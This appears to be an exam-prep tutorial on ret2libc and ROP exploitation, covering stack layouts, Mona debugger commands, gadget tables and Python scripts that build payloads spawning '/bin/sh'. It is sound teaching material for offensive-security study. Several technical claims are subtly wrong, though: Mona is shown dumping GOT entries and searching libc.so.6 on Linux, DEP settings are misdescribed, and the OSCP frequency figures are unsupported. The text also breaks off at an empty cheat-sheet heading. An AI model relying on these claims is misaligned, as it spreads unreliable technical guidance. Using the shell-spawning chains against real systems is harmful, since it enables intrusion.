RET2LIBC and ROP Chains
Difficulty: Core | Domain: Fixing Exploits (Module 10)
RET2LIBC and Return Oriented Programming (ROP) are advanced exploitation techniques that bypass modern security protections like DEP/NX. Mastering these techniques is essential for OSCP and real-world penetration testing.
Table of Contents
- RET2LIBC Fundamentals
- RET2LIBC Buffer Layout
- Finding libc Functions with Mona
- ROP Fundamentals
- ROP Chain Structure
- Finding ROP Gadgets with Mona
- Common ROP Gadgets Catalog
- Building a ROP Chain Step by Step
- When to Use Advanced Techniques
- OSCP Context
- Quick Reference Cheat Sheet
- Practice Exercises
1. RET2LIBC Fundamentals
1.1 What is RET2LIBC?
RET2LIBC (Return-to-libc) is an exploitation technique that bypasses DEP (Data Execution Prevention) / NX (No-eXecute) bit by redirecting execution flow to existing executable code in loaded libraries — most commonly libc.so on Linux or msvcrt.dll on Windows.
The Problem: DEP/NX Protection
Modern operating systems mark memory regions as either executable or writable, but not both. This means:
| Memory Region | Writable? | Executable? |
|---|---|---|
| Stack | ✅ Yes | ❌ No (NX bit set) |
| Heap | ✅ Yes | ❌ No (NX bit set) |
| Code (.text) | ❌ No | ✅ Yes |
| .data | ✅ Yes | ❌ No |
| .rodata | ❌ No | ❌ No |
┌─────────────────────────────────────────────────┐
│ Traditional Buffer Overflow │
│ │
│ Shellcode ──→ Overwrite EIP ──→ Jump to Stack │
│ │
│ ❌ FAILS when DEP/NX is enabled! │
│ (Stack is not executable) │
└─────────────────────────────────────────────────┘
The RET2LIBC Solution
Instead of injecting shellcode onto the stack (which is non-executable), RET2LIBC:
- Redirects execution to existing functions in already-loaded libraries
- Uses legitimate code that already resides in executable memory regions
- Chains function calls to achieve arbitrary functionality without executing attacker-controlled data
┌─────────────────────────────────────────────────┐
│ RET2LIBC Buffer Overflow │
│ │
│ No Shellcode! │
│ Overwrite EIP ──→ Jump to system() in libc │
│ Control arguments via stack layout │
│ │
│ ✅ WORKS even when DEP/NX is enabled! │
│ (We never execute the stack) │
└─────────────────────────────────────────────────┘
1.2 Why RET2LIBC Bypasses DEP
The key insight: DEP prevents execution of attacker-injected code, not attacker-controlled execution flow.
graph TD
A[DEP/NX Enabled] --> B{Where is code executing?}
B -->|Stack/Heap| C[❌ Blocked - Non-executable region]
B -->|.text Section| D[✅ Allowed - Executable region]
E[RET2LIBC] --> F[Redirect to system in libc.text]
F --> D
G[Traditional Shellcode] --> H[Execute from Stack]
H --> C
RET2LIBC works because:
- The code being executed (
system(),execve(), etc.) already exists in the.textsection of a loaded library - The attacker only controls the execution flow (via overwritten return addresses), not the code itself
- Arguments are passed through carefully crafted stack data, which is readable (just not executable)
1.3 The system("/bin/sh") Technique
The most common RET2LIBC goal: spawn a shell by calling system("/bin/sh").
How system() Works
// In libc:
int system(const char *command);
// Executes command through /bin/sh -c
// system("/bin/sh") → spawns an interactive shell
The Challenge
To call system("/bin/sh"), we need:
- Address of
system()— a function in libc - Address of the string
"/bin/sh"— somewhere in memory - Proper stack layout — so the function receives the correct argument
Why This Is Powerful
Once you have a shell via system("/bin/sh"):
- You have full command execution
- You can escalate privileges, read files, download payloads
- The exploit is complete — no further exploitation needed
1.4 RET2LIBC vs Traditional Shellcode
| Aspect | Traditional Shellcode | RET2LIBC |
|---|---|---|
| Code location | Injected by attacker | Already in libc |
| DEP bypass | Cannot bypass | ✅ Bypasses DEP |
| ASLR bypass | N/A (code is injected) | Needs libc address leak |
| Complexity | Simple (just shellcode) | Moderate (need addresses) |
| Reliability | High (self-contained) | Depends on address stability |
| OSCP frequency | Common (no DEP) | Common (DEP enabled) |
2. RET2LIBC Buffer Layout
2.1 Memory Diagram
When a buffer overflow occurs with RET2LIBC, the stack looks like this:
┌──────────────────────────────────────────────────────────────┐
│ HIGHER ADDRESSES │
├──────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Padding / Junk │ │
│ │ (Fill to reach saved EBP) │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Saved EBP (4 bytes) │ │
│ │ (Can be any value / junk) │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Return Address (EIP) │ │
│ │ ↓ Overwritten with: │ │
│ │ Address of system() in libc │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Fake Return Address (4 bytes) │ │
│ │ Where system() should return after execution? │ │
│ │ Usually: 0x41414141 or exit() address │ │
│ │ (Doesn't matter if process crashes after shell) │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Argument to system(): │ │
│ │ Address of "/bin/sh" string in memory │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Optional: More arguments / padding │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
├──────────────────────────────────────────────────────────────┤
│ LOWER ADDRESSES │
└──────────────────────────────────────────────────────────────┘
2.2 Stack Layout Breakdown
# Python exploit structure for RET2LIBC
# Calculate offset to EIP
offset = <determined_from_crash>
# Build the payload
payload = b""
payload += b"A" * offset # Fill buffer to EIP
payload += b"B" * 4 # Overwrite saved EBP (junk)
payload += p32(system_addr) # EIP → system()
payload += p32(0x41414141) # Fake return for system()
payload += p32(binsh_addr) # Arg1: "/bin/sh" string address
2.3 Why Each Component Matters
| Component | Purpose | What Happens If Wrong |
|---|---|---|
| Padding to EIP | Reach the return address | Crash before reaching our control |
| Saved EBP | Maintain stack frame integrity | Usually harmless to overwrite |
system() address |
Redirect execution to libc function | No shell spawned |
| Fake return address | Where system() returns to |
Process may crash (acceptable) |
/bin/sh address |
Argument passed to system() |
system() called with garbage → crash |
2.4 Visual: Execution Flow
sequenceDiagram
participant P as Program
participant S as Stack (Overflowed)
participant L as libc
P->>P: Call vulnerable function
P->>S: Buffer overflow occurs
Note over S: EIP overwritten with system() addr
P->>P: Vulnerable function returns
S->>L: EIP jumps to system() in libc
L->>S: system() reads arg from stack
S-->>L: Arg = address of "/bin/sh"
L->>L: system("/bin/sh") executes
Note over L: Shell spawned!
3. Finding libc Functions with Mona
3.1 The GOT Table
The GOT (Global Offset Table) is critical for finding libc function addresses.
What is the GOT?
┌─────────────────────────────────────────────────────────────┐
│ GOT Resolution Process │
├─────────────────────────────────────────────────────────────┤
│ │
│ First Call to system(): │
│ ┌──────────┐ ┌──────────┐ ┌──────────────────┐ │
│ │ .plt │────>│ .got │────>│ Dynamic Linker │ │
│ │system@plt │ │system@got│ │ (resolve addr) │ │
│ └──────────┘ └──────────┘ └──────────────────┘ │
│ │ │ │
│ │ ▼ │
│ │ Write real addr │
│ │ back to .got │
│ │
│ Subsequent Calls: │
│ ┌──────────┐ ┌──────────┐ │
│ │ .plt │────>│ .got │──→ Direct jump to libc │
│ │system@plt │ │system@got│ (no linker needed) │
│ └──────────┘ └──────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
Key Insight for Exploitation
- Before first call: GOT entry may contain PLT address or placeholder
- After first call: GOT entry contains the real libc address
- If the target program has already called
system(),printf(), etc., the GOT has resolved addresses
3.2 Mona Commands for Finding Functions
!mona got
!mona got
Output example:
[+] GOT Entries
0x00180000 : printf@got (0x00401230) -> 0xf7e12340 (libc)
0x00180004 : system@got (0x00401234) -> 0xf7e12344 (libc)
0x00180008 : exit@got (0x00401238) -> 0xf7e12348 (libc)
0x0018000C : strlen@got (0x0040123C) -> 0xf7e1234C (libc)
This shows:
- The GOT entry address in the binary
- The resolved libc address (if the function was called)
!mona find -s "/bin/sh" -m <module>
!mona find -s "/bin/sh\x00" -m libc.so.6
Output example:
[+] Searching for '/bin/sh\x00' in libc.so.6
0xf7f12345 : /bin/sh
0xf7f12346 : /bin/sh\xd0
!mona modules
!mona modules
Output example:
[+] Module overview
Name Base End Size DEP ASLR
──────────────── ──────── ──────── ──────── ───── ─────
target.exe 0x00400000 0x00410000 0x00010000 False False
kernel32.dll 0x76A00000 0x76B50000 0x00150000 True True
msvcrt.dll 0x78000000 0x78060000 0x00060000 True False
ntdll.dll 0x77D00000 0x77E80000 0x00180000 True True
Critical columns:
- DEP: If
False, the module is executable (good for finding gadgets) - ASLR: If
False, addresses are stable across runs (much easier exploitation)
3.3 Finding Specific Function Addresses
Method 1: Direct Mona Search
!mona find -s "\x??\x??\x??\x??" -m msvcrt.dll -type cmd
Method 2: Using Breakpoints
bp system ; Set breakpoint on system
g ; Run until hit
dd esp ; Dump stack to see argument
!mona find -s "/bin/sh" -m msvcrt.dll
Method 3: Calculating from Base Address
; If you know msvcrt.dll base and system() offset:
!mona modules ; Get base address
; Then calculate: base + offset_to_system
3.4 Mona Command Reference Table
| Mona Command | Purpose | Example |
|---|---|---|
!mona got |
List GOT entries | !mona got |
!mona modules |
List loaded modules with DEP/ASLR status | !mona modules |
!mona find -s <string> |
Find string in memory | !mona find -s "/bin/sh" |
!mona find -s <string> -m <module> |
Find string in specific module | !mona find -s "/bin/sh" -m libc.so.6 |
!mona find -s <bytes> -type cmd |
Find specific byte patterns | !mona find -s "\x90\x90" -type cmd |
!mona jmp -r eax |
Find JMP EAX instructions | !mona jmp -r eax -n |
!mona call -r eax |
Find CALL EAX instructions | !mona call -r eax |
4. ROP Fundamentals
4.1 What is ROP?
ROP (Return Oriented Programming) is an advanced exploitation technique that chains together small snippets of existing code, called gadgets, to perform arbitrary operations.
ROP vs RET2LIBC
| Aspect | RET2LIBC | ROP |
|---|---|---|
| Goal | Call existing functions | Build arbitrary logic |
| Building blocks | Function addresses | Small code snippets (gadgets) |
| Complexity | Moderate | High |
| When needed | DEP bypass, simple calls | DEP + more complex logic |
| Gadget chaining | Not needed | Core mechanism |
4.2 What is a Gadget?
A gadget is a small sequence of instructions (typically 2-10 instructions) that ends with a RET instruction.
┌─────────────────────────────────────┐
│ ROP Gadget │
│ │
│ pop eax │
│ pop ebx │
│ xor eax, ebx │
│ ret ←←← MUST end with RET │
│ │
│ Size: 4 instructions │
│ Purpose: Set eax = eax XOR ebx │
└─────────────────────────────────────┘
4.3 Why Must Gadgets End with RET?
The RET instruction is the glue that makes ROP work:
graph LR
A[Gadget 1<br/>...<br/>RET] -->|Pops next addr<br/>from stack| B[Gadget 2<br/>...<br/>RET]
B -->|Pops next addr<br/>from stack| C[Gadget 3<br/>...<br/>RET]
C -->|Pops next addr<br/>from stack| D[Final Function<br/>e.g., system]
style A fill:#e1f5fe
style B fill:#e1f5fe
style C fill:#e1f5fe
style D fill:#c8e6c9
The RET instruction:
- Pops the next value from the stack into EIP
- Transfers execution to that address
- This becomes the next gadget (or final function call)
Without RET, the chain breaks — execution would continue linearly through whatever code follows, which is unpredictable.
4.4 How Chaining Gadgets Builds Arbitrary Functionality
The Power of Composition
Individual gadgets do simple things. Chained together, they can:
| Single Gadget | Simple Operation |
|---|---|
pop eax; ret |
Load value into EAX |
pop ebx; ret |
Load value into EBX |
xor eax, ebx; ret |
XOR two registers |
push eax; ret |
Push value to stack |
| Chained Gadgets | Complex Operation |
|---|---|
| Multiple pop + arithmetic | Calculate arbitrary values |
| Pop + push + syscall | Execute system calls |
| Stack pivoting + chain | Bypass stack canaries |
Example: Building execve("/bin/sh", NULL, NULL)
Goal: Call execve with proper arguments
Linux syscall convention:
eax = 11 (execve syscall number)
ebx = pointer to "/bin/sh"
ecx = NULL
edx = NULL
int 0x80
ROP Chain:
┌──────────────────────────────────────────────┐
│ Stack Layout (high → low) │
├──────────────────────────────────────────────┤
│ [pop eax; ret] ← Gadget to set eax │
│ [0x0000000B] ← Value for eax (11) │
│ [pop ebx; ret] ← Gadget to set ebx │
│ [/bin/sh addr] ← Value for ebx │
│ [pop ecx; ret] ← Gadget to set ecx │
│ [0x00000000] ← Value for ecx (NULL) │
│ [pop edx; ret] ← Gadget to set edx │
│ [0x00000000] ← Value for edx (NULL) │
│ [int 0x80; ret] ← Syscall gadget! │
└──────────────────────────────────────────────┘
5. ROP Chain Structure
5.1 Complete Memory Layout
┌──────────────────────────────────────────────────────────────┐
│ HIGHER ADDRESSES │
├──────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Padding / Junk │ │
│ │ (Fill to reach saved EBP) │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Saved EBP (4 bytes) │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Return Address (EIP) │ │
│ │ ↓ Overwritten with: │ │
│ │ Address of FIRST ROP Gadget │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Gadget 1 Arguments / Values │ │
│ │ (Values popped by Gadget 1) │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Address of Gadget 2 │ │
│ │ (Popped by RET in Gadget 1) │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Gadget 2 Arguments / Values │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Address of Gadget 3 │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Gadget 3 Arguments / Values │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ ... (more gadgets) ... │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ Final Target (e.g., system / execve) │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
├──────────────────────────────────────────────────────────────┘
│ LOWER ADDRESSES │
└──────────────────────────────────────────────────────────────┘
5.2 Python Exploit Structure
from struct import pack
def p32(addr):
return pack('<I', addr) # Little-endian 32-bit
# === Addresses ===
offset = 0x88 # Offset to EIP
# Gadget addresses
pop_eax_ret = 0x7800abcd
pop_ebx_ret = 0x7800cdef
pop_ecx_ret = 0x78001111
pop_edx_ret = 0x78002222
int0x80_ret = 0x78003333
# Values
binsh_addr = 0xf7f12345
null_addr = 0x00000000
# === Build ROP Chain ===
rop_chain = b""
# Gadget 1: pop eax; ret
rop_chain += p32(pop_eax_ret)
rop_chain += p32(0x0b) # eax = 11 (execve syscall)
# Gadget 2: pop ebx; ret
rop_chain += p32(pop_ebx_ret)
rop_chain += p32(binsh_addr) # ebx = "/bin/sh"
# Gadget 3: pop ecx; ret
rop_chain += p32(pop_ecx_ret)
rop_chain += p32(null_addr) # ecx = NULL
# Gadget 4: pop edx; ret
rop_chain += p32(pop_edx_ret)
rop_chain += p32(null_addr) # edx = NULL
# Gadget 5: int 0x80; ret
rop_chain += p32(int0x80_ret) # Execute syscall!
# === Full Payload ===
payload = b""
payload += b"A" * offset # Fill to EIP
payload += b"B" * 4 # Overwrite EBP
payload += rop_chain # ROP chain
print(payload)
5.3 Stack Evolution During Execution
Step 1: Function returns, EIP = first gadget
┌─────────────────────┐
│ pop_eax_ret │ ← EIP
├─────────────────────┤
│ 0x0B │
├─────────────────────┤
│ pop_ebx_ret │
├─────────────────────┤
│ binsh_addr │
├─────────────────────┤
│ ... │
└─────────────────────┘
Step 2: After "pop eax; ret" executes
┌─────────────────────┐
│ 0x0B │ ← Popped into EAX
├─────────────────────┤
│ pop_ebx_ret │ ← EIP (popped by RET)
├─────────────────────┤
│ binsh_addr │
├─────────────────────┤
│ ... │
└─────────────────────┘
Step 3: After "pop ebx; ret" executes
┌─────────────────────┐
│ pop_ebx_ret │ ← Already executed
├─────────────────────┤
│ binsh_addr │ ← Popped into EBX
├─────────────────────┤
│ next_gadget │ ← EIP
├─────────────────────┤
│ ... │
└─────────────────────┘
6. Finding ROP Gadgets with Mona
6.1 Mona ROP Subcommands
Mona provides powerful tools for discovering ROP gadgets. Here are all the rop-related subcommands:
!mona rop
!mona rop
Generates three files:
rop.txt— Summary of all gadgets foundgadgets.txt— All individual gadgetssuggestions.txt— Mona’s suggested useful gadgets
!mona rop -m <module>
!mona rop -m msvcrt.dll
!mona rop -m libc.so.6
Search for gadgets in a specific module only. Critical when you need gadgets from a non-ASLR module.
!mona rop -m <module> -n
!mona rop -m msvcrt.dll -n
The -n flag excludes gadgets that contain NOP (0x90) instructions. Useful when you want clean gadgets without NOP sleds.
!mona rop -m <module> -c <constraints>
!mona rop -m msvcrt.dll -c "00,11,22"
Specify byte constraints — only find gadgets that don’t contain certain bytes. Useful when dealing with null-byte filters or other input restrictions.
!mona rop -m <module> -i <min_length> -l <max_length>
!mona rop -m msvcrt.dll -i 2 -l 6
Filter gadgets by instruction count. Shorter gadgets (2-4 instructions) are usually more useful.
!mona rop -m <module> -r
!mona rop -m msvcrt.dll -r
The -r flag generates a raw output format, easier to parse programmatically.
6.2 Mona Gadget Search Commands
Beyond the rop subcommand, Mona has other gadget-finding commands:
| Command | Purpose |
|---|---|
!mona find -s "\x??\x??\x??\x??\xc3" -m <module> |
Find any instruction ending with RET (0xC3) |
!mona find -s "\x58\xc3" -m <module> |
Find “pop eax; ret” specifically |
!mona find -s "\x5b\xc3" -m <module> |
Find “pop ebx; ret” specifically |
!mona jmp -r eax |
Find “jmp eax” instructions |
!mona call -r eax |
Find “call eax” instructions |
!mona stackpivot |
Find stack pivoting gadgets |
6.3 Understanding Mona Output
[+] Processing msvcrt.dll
[+] Searching for gadgets in msvcrt.dll
[+] Found 1234 gadgets
Gadget: 0x78001234
pop eax
ret
Gadget: 0x78005678
pop eax
pop ebx
ret
Gadget: 0x78009abc
xor eax, eax
ret
Gadget: 0x7800def0
push esp
pop eax
ret
6.4 Practical Mona Workflow
; Step 1: Check module status
!mona modules
; Step 2: Find gadgets in non-ASLR, non-DEP module
!mona rop -m msvcrt.dll
; Step 3: Look for specific gadgets
!mona find -s "\x58\xc3" -m msvcrt.dll ; pop eax; ret
!mona find -s "\x5b\xc3" -m msvcrt.dll ; pop ebx; ret
!mona find -s "\x59\xc3" -m msvcrt.dll ; pop ecx; ret
!mona find -s "\x5a\xc3" -m msvcrt.dll ; pop edx; ret
; Step 4: Find /bin/sh string
!mona find -s "/bin/sh\x00" -m msvcrt.dll
; Step 5: Find system() address
!mona got
7. Common ROP Gadgets Catalog
7.1 POP Gadgets (Register Loading)
The most fundamental gadget type — loads values into registers.
| Gadget | Opcode | Purpose | Frequency |
|---|---|---|---|
pop eax; ret |
58 c3 |
Load value into EAX | ⭐⭐⭐⭐⭐ |
pop ebx; ret |
5b c3 |
Load value into EBX | ⭐⭐⭐⭐⭐ |
pop ecx; ret |
59 c3 |
Load value into ECX | ⭐⭐⭐⭐⭐ |
pop edx; ret |
5a c3 |
Load value into EDX | ⭐⭐⭐⭐⭐ |
pop esi; ret |
5e c3 |
Load value into ESI | ⭐⭐⭐ |
pop edi; ret |
5f c3 |
Load value into EDI | ⭐⭐⭐ |
pop ebp; ret |
5d c3 |
Load value into EBP | ⭐⭐⭐ |
pop esp; ret |
5c c3 |
Load value into ESP (stack pivot!) | ⭐⭐⭐⭐ |
Multi-POP Gadgets
| Gadget | Purpose |
|---|---|
pop eax; pop ebx; ret |
Load two values at once |
pop eax; pop ebx; pop ecx; ret |
Load three values at once |
pop eax; pop ebx; pop ecx; pop edx; ret |
Load four values at once |
7.2 XOR Gadgets (Value Manipulation)
XOR is powerful for creating NULL bytes and manipulating values.
| Gadget | Purpose | Use Case |
|---|---|---|
xor eax, eax; ret |
Set EAX to 0 | Create NULL pointer |
xor ebx, ebx; ret |
Set EBX to 0 | Create NULL pointer |
xor ecx, ecx; ret |
Set ECX to 0 | Create NULL pointer |
xor edx, edx; ret |
Set EDX to 0 | Create NULL pointer |
xor eax, ebx; ret |
EAX = EAX XOR EBX | Value manipulation |
7.3 INC/DEC Gadgets (Arithmetic)
| Gadget | Purpose | Use Case |
|---|---|---|
inc eax; ret |
EAX = EAX + 1 | Fine-tune values |
inc ebx; ret |
EBX = EBX + 1 | Fine-tune values |
dec eax; ret |
EAX = EAX - 1 | Fine-tune values |
dec ebx; ret |
EBX = EBX - 1 | Fine-tune values |
Example: Creating syscall numbers
; Need eax = 11 (execve) but only have inc eax
pop eax; ret → eax = 0
inc eax; ret → eax = 1
inc eax; ret → eax = 2
... (repeat 11 times)
inc eax; ret → eax = 11
7.4 PUSH Gadgets (Stack Manipulation)
| Gadget | Purpose | Use Case |
|---|---|---|
push eax; ret |
Push EAX onto stack | Prepare arguments |
push ebx; ret |
Push EBX onto stack | Prepare arguments |
push esp; pop eax; ret |
Copy ESP to EAX | Leak stack address |
pushad; ret |
Push all registers | Save state |
popad; ret |
Pop all registers | Restore state |
7.5 MOV Gadgets (Data Transfer)
| Gadget | Purpose | Use Case |
|---|---|---|
mov eax, [ebx]; ret |
Load memory to EAX | Read from pointer |
mov [eax], ebx; ret |
Store EBX to memory | Write to address |
mov eax, ebx; ret |
Copy register | Data transfer |
mov eax, [ecx]; ret |
Dereference ECX | Read pointer |
7.6 CALL/JMP Gadgets (Control Flow)
| Gadget | Purpose | Use Case |
|---|---|---|
call eax |
Call address in EAX | Execute arbitrary function |
call ebx |
Call address in EBX | Execute arbitrary function |
jmp eax |
Jump to EAX | Redirect execution |
jmp ebx |
Jump to EBX | Redirect execution |
int 0x80; ret |
Linux syscall | Execute syscall |
sysenter; ret |
Windows syscall | Execute syscall |
7.7 Stack Pivoting Gadgets
| Gadget | Purpose | Use Case |
|---|---|---|
xchg eax, esp; ret |
Swap EAX and ESP | Pivot stack to controlled memory |
mov esp, eax; ret |
ESP = EAX | Pivot stack |
pop esp; ret |
Load ESP from stack | Direct stack pivot |
7.8 Gadget Selection Priority
When building a ROP chain, prioritize gadgets in this order:
1. POP + RET (single register) ← Most versatile
2. POP + POP + RET (multi-register) ← Efficient
3. XOR reg, reg + RET ← Create NULLs
4. INC/DEC + RET ← Fine-tune values
5. PUSH reg + RET ← Stack manipulation
6. MOV + RET ← Memory access
7. CALL/JMP reg ← Final execution
8. Building a ROP Chain Step by Step
8.1 Scenario: Linux Binary with DEP, No ASLR
Target: 32-bit Linux binary
Protections: DEP enabled, ASLR disabled
Goal: Spawn shell via execve("/bin/sh", NULL, NULL)
8.2 Step 1: Reconnaissance
; In Immunity Debugger / GDB
; Check protections
!mona modules
; Output:
; libc.so.6 0xf7d90000 DEP=True ASLR=False ← Good!
; target 0x08048000 DEP=False ASLR=False
8.3 Step 2: Find Required Components
; Find /bin/sh string
!mona find -s "/bin/sh\x00" -m libc.so.6
; Result: 0xf7f12345
; Find ROP gadgets
!mona rop -m libc.so.6
; Find specific gadgets:
!mona find -s "\x58\xc3" -m libc.so.6 ; pop eax; ret → 0xf7e12340
!mona find -s "\x5b\xc3" -m libc.so.6 ; pop ebx; ret → 0xf7e12341
!mona find -s "\x59\xc3" -m libc.so.6 ; pop ecx; ret → 0xf7e12342
!mona find -s "\x5a\xc3" -m libc.so.6 ; pop edx; ret → 0xf7e12343
!mona find -s "\xcd\x80\xc3" -m libc.so.6 ; int 0x80; ret → 0xf7e12344
8.4 Step 3: Design the Chain
Objective: execve("/bin/sh", NULL, NULL)
Syscall convention (Linux x86):
eax = 11 (execve syscall number)
ebx = "/bin/sh" (pointer to string)
ecx = NULL (envp = NULL)
edx = NULL (argv = NULL)
int 0x80 (trigger syscall)
Chain Design:
┌──────────────────────────────────────────────┐
│ 1. pop eax; ret → Set eax │
│ 0x0000000B → eax = 11 │
│ │
│ 2. pop ebx; ret → Set ebx │
│ /bin/sh addr → ebx = "/bin/sh" │
│ │
│ 3. pop ecx; ret → Set ecx │
│ 0x00000000 → ecx = NULL │
│ │
│ 4. pop edx; ret → Set edx │
│ 0x00000000 → edx = NULL │
│ │
│ 5. int 0x80; ret → Execute syscall! │
└──────────────────────────────────────────────┘
8.5 Step 4: Build the Exploit
from struct import pack
def p32(addr):
"""Pack address as little-endian 32-bit"""
return pack('<I', addr)
# === Known Addresses (from Mona) ===
offset = 0x88 # Offset to EIP (determined from crash analysis)
# Gadget addresses (from !mona find)
pop_eax_ret = 0xf7e12340
pop_ebx_ret = 0xf7e12341
pop_ecx_ret = 0xf7e12342
pop_edx_ret = 0xf7e12343
int0x80_ret = 0xf7e12344
# Values
binsh_addr = 0xf7f12345 # "/bin/sh" string in libc
null_addr = 0x00000000
# === Build ROP Chain ===
rop = b""
# Set eax = 11 (execve)
rop += p32(pop_eax_ret)
rop += p32(0x0b)
# Set ebx = "/bin/sh"
rop += p32(pop_ebx_ret)
rop += p32(binsh_addr)
# Set ecx = NULL
rop += p32(pop_ecx_ret)
rop += p32(null_addr)
# Set edx = NULL
rop += p32(pop_edx_ret)
rop += p32(null_addr)
# Execute syscall
rop += p32(int0x80_ret)
# === Full Payload ===
payload = b""
payload += b"A" * offset # Fill buffer to EIP
payload += b"B" * 4 # Overwrite saved EBP
payload += rop # ROP chain
# === Output ===
with open('exploit.bin', 'wb') as f:
f.write(payload)
print(f"Payload size: {len(payload)} bytes")
print(f"ROP chain size: {len(rop)} bytes")
8.6 Step 5: Test and Debug
; In Immunity Debugger
; 1. Set breakpoint at vulnerable function
bp vuln_function
; 2. Run and trigger overflow
g
; 3. Verify stack layout
dd esp
; 4. Step through ROP chain
p ; Step over each instruction
p ; Watch EIP move to next gadget
p ; Verify registers after each pop
; 5. Check register values
r ; Should show:
; eax = 0x0b
; ebx = 0xf7f12345 ("/bin/sh")
; ecx = 0x0
; edx = 0x0
; 6. Execute syscall
p ; int 0x80 executes
; Shell should spawn!
8.7 Common Issues and Fixes
| Problem | Cause | Solution |
|---|---|---|
| Crash before ROP | Wrong offset | Re-determine offset with pattern create/offset |
| Wrong register values | Wrong gadget addresses | Verify gadgets with Mona |
| Segfault at syscall | Bad /bin/sh address |
Re-find string with Mona |
| Chain breaks early | Gadget doesn’t end with RET | Use !mona find to verify |
| Null bytes in payload | Address contains \x00 |
Find alternative gadgets/addresses |
9. When to Use Advanced Techniques
9.1 Protection Analysis Decision Matrix
flowchart TD
A[Start: Analyze Target] --> B{DEP / NX?}
B -->|Disabled| C[Traditional Shellcode<br/>Simplest approach]
B -->|Enabled| D{ASLR?}
D -->|Disabled| E{Need complex logic?}
D -->|Enabled| F{Can leak addresses?}
E -->|No - just call system| G[RET2LIBC<br/>Call system /bin/sh]
E -->|Yes - need more| H[ROP Chain<br/>Build arbitrary logic]
F -->|Yes - info leak| I[Leak → Calculate → RET2LIBC/ROP]
F -->|No leak| J{Partial RELRO?}
J -->|Yes - GOT writable| K[Overwrite GOT → RET2LIBC]
J -->|No - Full RELRO| L[Very Hard<br/>Need other vuln or bypass]
C --> M[Exploit Complete]
G --> M
H --> M
I --> M
K --> M
9.2 Technique Selection Guide
| Scenario | Protections | Recommended Technique | Complexity |
|---|---|---|---|
| No DEP, No ASLR | None | Traditional shellcode | ⭐ Easy |
| DEP only, No ASLR | DEP | RET2LIBC | ⭐⭐ Medium |
| DEP + need complex logic | DEP | ROP Chain | ⭐⭐⭐ Hard |
| DEP + ASLR, can leak | DEP, ASLR | Leak → RET2LIBC | ⭐⭐⭐ Hard |
| DEP + ASLR, no leak | DEP, ASLR | ROP with partial gadgets | ⭐⭐⭐⭐ Very Hard |
| DEP + ASLR + Stack Cookie | All three | Stack pivot + ROP | ⭐⭐⭐⭐⭐ Expert |
9.3 OSCP-Relevant Scenarios
For OSCP, you’ll most commonly encounter:
| Frequency | Scenario | Technique |
|---|---|---|
| Very Common | No DEP, no ASLR | Shellcode |
| Common | DEP enabled, no ASLR | RET2LIBC |
| Less Common | DEP + need specific logic | ROP Chain |
| Rare | ASLR enabled | Address leak + RET2LIBC |
9.4 When ROP is Overkill
Use ROP only when you need it. RET2LIBC is simpler and more reliable when:
- You just need a shell (
system("/bin/sh")) - The target has
system()and/bin/shin libc - You don’t need complex logic
Prefer RET2LIBC over ROP when possible — it’s simpler, more reliable, and faster to develop.
10. OSCP Context
10.1 How Often Does RET2LIBC/ROP Appear?
Based on OSCP exam patterns and community reports:
| Technique | Frequency on OSCP | Machines Requiring It |
|---|---|---|
| Traditional Shellcode (no DEP) | ~60-70% of binaries | Most Windows/Linux machines |
| RET2LIBC | ~20-25% of binaries | Machines with DEP enabled |
| Full ROP Chain | ~5-10% of binaries | Few machines, usually Linux |
| Combined techniques | ~5% | Complex multi-step exploits |
10.2 Which Machines Need RET2LIBC/ROP?
Windows Machines
Most Windows OSCP machines use MS12-020, PrintNightmare, or similar exploits that don’t require RET2LIBC. When buffer overflows are involved:
- DEP often disabled on older Windows targets
- When DEP is enabled,
msvcrt.dllusually providessystem()and/bin/shequivalent - Full ROP chains are rarely needed on Windows OSCP machines
Linux Machines
Linux machines are more likely to need RET2LIBC/ROP:
- Stack-smashing protector (SSP) may be present
- DEP/NX commonly enabled
- ASLR may or may not be enabled
libc.so.6is the primary source for gadgets and functions
10.3 OSCP Study Priority
| Priority | Topic | Reason |
|---|---|---|
| 1 | Traditional buffer overflow + shellcode | Most common on OSCP |
| 2 | RET2LIBC basics | Common when DEP is enabled |
| 3 | Finding addresses with Mona | Essential for RET2LIBC |
| 4 | Basic ROP chains | Good to know, rarely needed |
| 5 | Advanced ROP (stack pivoting, etc.) | Rare on OSCP |
10.4 Tips for OSCP Exam
- Check protections first — Use
!mona modulesbefore deciding your approach - Try simple first — If DEP is off, use shellcode. Don’t over-engineer.
- Mona is your friend — Spend time learning Mona commands
- Practice RET2LIBC — Know the buffer layout cold
- Know when to pivot — If RET2LIBC doesn’t work, have ROP as backup
- Time management — Don’t spend hours on ROP if RET2LIBC will work
11. Quick Reference Cheat Sheet
11.1 RET2LIBC Payload Template
